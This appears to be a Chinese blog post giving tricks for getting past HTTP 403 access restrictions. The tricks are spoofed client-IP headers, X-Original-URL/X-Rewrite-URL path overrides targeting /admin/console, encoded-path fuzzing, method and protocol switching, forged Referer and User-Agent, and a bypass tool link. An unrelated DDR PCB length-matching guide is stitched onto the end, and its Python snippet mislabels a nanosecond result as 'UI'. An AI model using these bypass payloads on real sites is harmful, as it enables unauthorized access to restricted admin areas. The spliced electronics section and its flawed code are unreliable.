403绕过小技巧

什么是403?

在浏览网站的时候,经常会遇到403的状态码,表示不允许访问。该状态表示服务器理解了本次请求但是拒绝执行该任务,该请求不该重发给服务器。指的是服务器端有能力处理该请求,但是拒绝授权访问。

造成403的原因有哪些

 1. 你的IP被列入黑名单。 
 2. 以http方式访问需要ssl连接的网址。
 3. 你在一定时间内过多地访问此网站(一般是用采集程序),被防火墙拒绝访问了。
 4. 你的网页脚本文件在当前目录下没有执行权限。
 5. 服务器繁忙,同一IP地址发送请求过多,遭到服务器智能屏蔽。
 6. 在不允许写/创建文件的目录中执行了创建/写文件操作。
 7. 网站域名解析到了空间,但空间未绑定此域名。
 8. 浏览器不支持SSL 128时访问SSL 128的连接。
 9. 连接的用户过多,可以过后再试。
 10.DNS解析错误,手动更改DNS服务器地址。 

具体如何绕过403

1.绕过IP限制

可以通过下面的方式绕过:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost

2.url覆盖绕过

用户可以使用X-Original-URL或X-Rewrite-URL HTTP请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制。

可以这样绕过的原因:有很多的web应用,只对uri地址内容进行权限检查,这就导致uri路径正常访问之后,我又覆盖了新的地址,导致403 ByPass

例如

GET / HTTP/1.1
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
Host: www.abc.com
Host: 192.168.126.6

3.扩展名绕过(路径fuzz)

基于扩展名(路径),用于绕过403受限制的目录。
abc.com/admin => 403
abc.com/admin/ => 200
abc.com/admin// => 200
abc.com//admin// => 200
abc.com/admin/* => 200
abc.com/admin/*/ => 200
abc.com/admin/. => 200
abc.com/admin/./ => 200
abc.com/./admin/./ => 200
abc.com/admin/./. => 200
abc.com/admin/./. => 200
abc.com/admin? => 200
abc.com/admin?? => 200
abc.com/admin??? => 200
abc.com/admin…;/ => 200
abc.com/admin/…;/ => 200
abc.com/%2f/admin => 200
abc.com/%2e/admin => 200
abc.com/admin%20/ => 200
abc.com/admin%09/ => 200
abc.com/%20admin%20/ => 200

4.更换协议版本

如果使用 HTTP/1.1,请尝试使用 1.0,或者测试看它是否支持 2.0。

5.HTTP 请求方法fuzz

尝试使用不同的请求方法来访问:GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK。

6.修改Referer

网站限制了访问来源,如果访问来源不符合,则也会返回403。

绕过方式:设置referer为访问网站的host。

7.修改user-agent

有的应用为了区分爬虫或者正常请求,会验证user-agent,看是否浏览器发出的请求。

8.常用自动化工具

1.https://github.com/iamj0ker/bypass-403

### DDR PCB绕等长小技巧及信号完整性设计指南 在DDR内存接口设计中,信号完整性和时序匹配是关键因素。为了确保DDR信号的稳定性和性能,以下是一些关于DDR绕等长的小技巧和信号完整性设计指南: 1. **关键信号的优先级** 在布线过程中,应优先考虑关键时序信号(如时钟CLK、命令/地址信号CA、控制信号CS#、RAS#、CAS#、WE#等)的布线[^2]。这些信号对时序要求较高,因此需要严格控制其长度和阻抗。 2. **等长布线(Length Matching)** DDR信号中的数据总线(DQ)、数据屏蔽(DM)、数据选通(DQS)等需要进行严格的等长布线。通常,DQS与DQ之间的长度差应在±1/4个UI(Unit Interval)以内,具体值取决于DDR的速度等级[^1]。可以通过PCB设计软件的自动等长功能或手动调整来实现这一目标。 3. **分组匹配(Group Matching)** 不同的DDR信号组之间也需要进行长度匹配。例如,DQ组内的信号长度应尽量一致,而不同DQ组之间的长度差异也需控制在一定范围内。此外,DQS信号应与对应的DQ信号保持适当的长度差,以满足建立时间和保持时间的要求[^1]。 4. **差分对布线(Differential Pair Routing)** 对于差分信号(如DQS、CLK),必须采用差分对布线方式,并确保差分对内的两条信号线长度完全一致。同时,差分对之间的间距应保持恒定,避免因电磁耦合导致的信号干扰[^2]。 5. **走线拓扑结构(Routing Topology)** 常见的DDR走线拓扑结构包括飞线拓扑(Fly-by Topology)和菊花链拓扑( Daisy Chain Topology)。飞线拓扑适用于DDR3及以上版本,能够减少终端电阻的影响并提高信号质量[^1]。 6. **电源和地平面设计** 确保DDR信号层下方有完整的电源或地平面,以降低信号回流路径的电感,从而改善信号完整性。输入电容应尽可能靠近DDR芯片放置,以减小电源环路面积[^3]。 7. **过孔(Via)使用限制** 尽量减少DDR信号上的过孔数量,因为过孔会引入额外的寄生电感和电容,影响信号质量。如果必须使用过孔,则应选择较小的过孔尺寸,并在过孔周围添加去耦电容[^2]。 8. **阻抗控制** DDR信号的特性阻抗通常要求为50Ω(单端)或100Ω(差分)。通过调整走线宽度、介质厚度和铜箔厚度,可以实现精确的阻抗控制。 9. **仿真验证** 在实际布线完成后,建议使用信号完整性仿真工具(如HyperLynx、SIwave等)对设计进行验证,确保所有信号均满足时序和电气特性要求。 ```python # 示例:Python脚本用于计算DDR信号的等长误差 def calculate_length_error(max_ui, ui_quarter): return max_ui * ui_quarter max_ui = 0.1 # 假设最大UI为0.1ns ui_quarter = 0.25 # 1/4 UI length_error = calculate_length_error(max_ui, ui_quarter) print(f"允许的长度误差为: {length_error} UI") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小丑001.

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值